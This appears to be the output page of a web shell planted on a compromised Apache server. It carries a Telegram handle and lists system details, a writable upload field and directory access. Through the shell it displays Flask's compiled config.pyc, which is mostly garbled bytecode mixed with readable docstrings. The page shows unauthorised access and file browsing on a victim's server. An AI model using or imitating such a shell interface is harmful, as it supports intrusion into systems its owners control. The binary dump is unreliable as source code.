https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/flask/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/flask/config.pyc
�
-/�_c@s�dZddlZddlZddlZddlmZddlmZddlm	Z	ddlm
Z
defd	��YZd
e
fd��YZdS(s�
    flask.config
    ~~~~~~~~~~~~

    Implements the configuration related objects.

    :copyright: 2010 Pallets
    :license: BSD-3-Clause
i����N(t
import_stringi(tjson(t	iteritems(tstring_typestConfigAttributecBs/eZdZdd�Zdd�Zd�ZRS(s(Makes an attribute forward to the configcCs||_||_dS(N(t__name__t
get_converter(tselftnameR((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyt__init__s	cCsE|dkr|S|j|j}|jdk	rA|j|�}n|S(N(tNonetconfigRR(Rtobjttypetrv((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyt__get__scCs||j|j<dS(N(RR(RRtvalue((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyt__set__%sN(Rt
__module__t__doc__R
R	RR(((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyRstConfigcBsheZdZd	d�Zed�Zed�Zd�Zed�Z	d�Z
eed�Zd�Z
RS(
s�Works exactly like a dict but provides ways to fill it from files
    or special dictionaries.  There are two common patterns to populate the
    config.

    Either you can fill the config from a config file::

        app.config.from_pyfile('yourconfig.cfg')

    Or alternatively you can define the configuration options in the
    module that calls :meth:`from_object` or provide an import path to
    a module that should be loaded.  It is also possible to tell it to
    use the same module and with that provide the configuration values
    just before the call::

        DEBUG = True
        SECRET_KEY = 'development key'
        app.config.from_object(__name__)

    In both cases (loading from any Python file or loading from modules),
    only uppercase keys are added to the config.  This makes it possible to use
    lowercase values in the config file for temporary values that are not added
    to the config or to define the config keys in the same file that implements
    the application.

    Probably the most interesting way to load configurations is from an
    environment variable pointing to a file::

        app.config.from_envvar('YOURAPPLICATION_SETTINGS')

    In this case before launching the application you have to set this
    environment variable to the file you want to use.  On Linux and OS X
    use the export statement::

        export YOURAPPLICATION_SETTINGS='/path/to/config/file'

    On windows use `set` instead.

    :param root_path: path to which files are read relative from.  When the
                      config object is created by the application, this is
                      the application's :attr:`~flask.Flask.root_path`.
    :param defaults: an optional dictionary of default values
    cCs#tj||pi�||_dS(N(tdictR	t	root_path(RRtdefaults((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyR	UscCsHtjj|�}|s5|r"tStd|��n|j|d|�S(sLoads a configuration from an environment variable pointing to
        a configuration file.  This is basically just a shortcut with nicer
        error messages for this line of code::

            app.config.from_pyfile(os.environ['YOURAPPLICATION_SETTINGS'])

        :param variable_name: name of the environment variable
        :param silent: set to ``True`` if you want silent failure for missing
                       files.
        :return: bool. ``True`` if able to load config, ``False`` otherwise.
        s�The environment variable %r is not set and as such configuration could not be loaded.  Set this variable and make it point to a configuration filetsilent(tostenvirontgettFalsetRuntimeErrortfrom_pyfile(Rt
variable_nameRR((s-/tmp/pip-install-sTXtzD/flask/flask/config.pytfrom_envvarYs
cBs�ejj|j|�}ejd�}||_yBe|dd��*}e|j	�|d�|j
fdUWdQXWnQek
r�}|r�|jej
ejejfkr�eSd|j|_�nX|j|�eS(sUpdates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to ``True`` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        RtmodetrbtexecNs&Unable to load configuration file (%s)(RtpathtjoinRttypest
ModuleTypet__file__topentcompiletreadt__dict__tIOErrorterrnotENOENTtEISDIRtENOTDIRRtstrerrortfrom_objecttTrue(RtfilenameRtdtconfig_filete((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyRqs	-'
cCs[t|t�rt|�}nx6t|�D](}|j�r+t||�||<q+q+WdS(s�Updates the values from the given object.  An object can be of one
        of the following two types:

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly

        Objects are usually either modules or classes. :meth:`from_object`
        loads only the uppercase attributes of the module/class. A ``dict``
        object will not work with :meth:`from_object` because the keys of a
        ``dict`` are not attributes of the ``dict`` class.

        Example of module-based configuration::

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)

        Nothing is done to the object before loading. If the object is a
        class and has ``@property`` attributes, it needs to be
        instantiated before being passed to this method.

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.

        See :ref:`config-dev-prod` for an example of class-based configuration
        using :meth:`from_object`.

        :param obj: an import name or object
        N(t
isinstanceRRtdirtisuppertgetattr(RRtkey((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyR3�s
 cCs�tjj|j|�}y.t|��}tj|j��}WdQXWnKtk
r�}|r}|j	t	j
t	jfkr}tSd|j
|_
�nX|j|�S(sUpdates the values in the config from a JSON file. This function
        behaves as if the JSON object was a dictionary and passed to the
        :meth:`from_mapping` function.

        :param filename: the filename of the JSON file.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to ``True`` if you want silent failure for missing
                       files.

        .. versionadded:: 0.11
        Ns&Unable to load configuration file (%s)(RR$R%RR)RtloadsR+R-R.R/R0RR2tfrom_mapping(RR5Rt	json_fileRR8((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyt	from_json�s
!cOs�g}t|�dkrYt|dd�rE|j|dj��q�|j|d�n+t|�dkr�tdt|���n|j|j��x>|D]6}x-|D]%\}}|j�r�|||<q�q�Wq�WtS(s{Updates the config like :meth:`update` ignoring items with non-upper
        keys.

        .. versionadded:: 0.11
        iititemss.expected at most 1 positional argument, got %d(tlenthasattrtappendRBt	TypeErrorR;R4(RtmappingtkwargstmappingsR=R((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyR?�s
cCszi}xmt|�D]_\}}|j|�s4qn|rM|t|�}n|}|rh|j�}n|||<qW|S(siReturns a dictionary containing a subset of configuration options
        that match the specified namespace/prefix. Example usage::

            app.config['IMAGE_STORE_TYPE'] = 'fs'
            app.config['IMAGE_STORE_PATH'] = '/var/app/images'
            app.config['IMAGE_STORE_BASE_URL'] = 'http://img.website.com'
            image_store_config = app.config.get_namespace('IMAGE_STORE_')

        The resulting dictionary `image_store_config` would look like::

            {
                'type': 'fs',
                'path': '/var/app/images',
                'base_url': 'http://img.website.com'
            }

        This is often useful when configuration options map directly to
        keyword arguments in functions or class constructors.

        :param namespace: a configuration namespace
        :param lowercase: a flag indicating if the keys of the resulting
                          dictionary should be lowercase
        :param trim_namespace: a flag indicating if the keys of the resulting
                          dictionary should not include the namespace

        .. versionadded:: 0.11
        (Rt
startswithRCtlower(Rt	namespacet	lowercasettrim_namespaceRtktvR=((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyt
get_namespace�scCsd|jjtj|�fS(Ns<%s %s>(t	__class__RRt__repr__(R((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyRSsN(RRRR
R	RR RR3RAR?R4RQRS(((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyR)s*	&	)(RR.RR&twerkzeug.utilsRtRt_compatRRtobjectRRR(((s-/tmp/pip-install-sTXtzD/flask/flask/config.pyt<module>
s

https://t.me/AnonymousX5 - 2025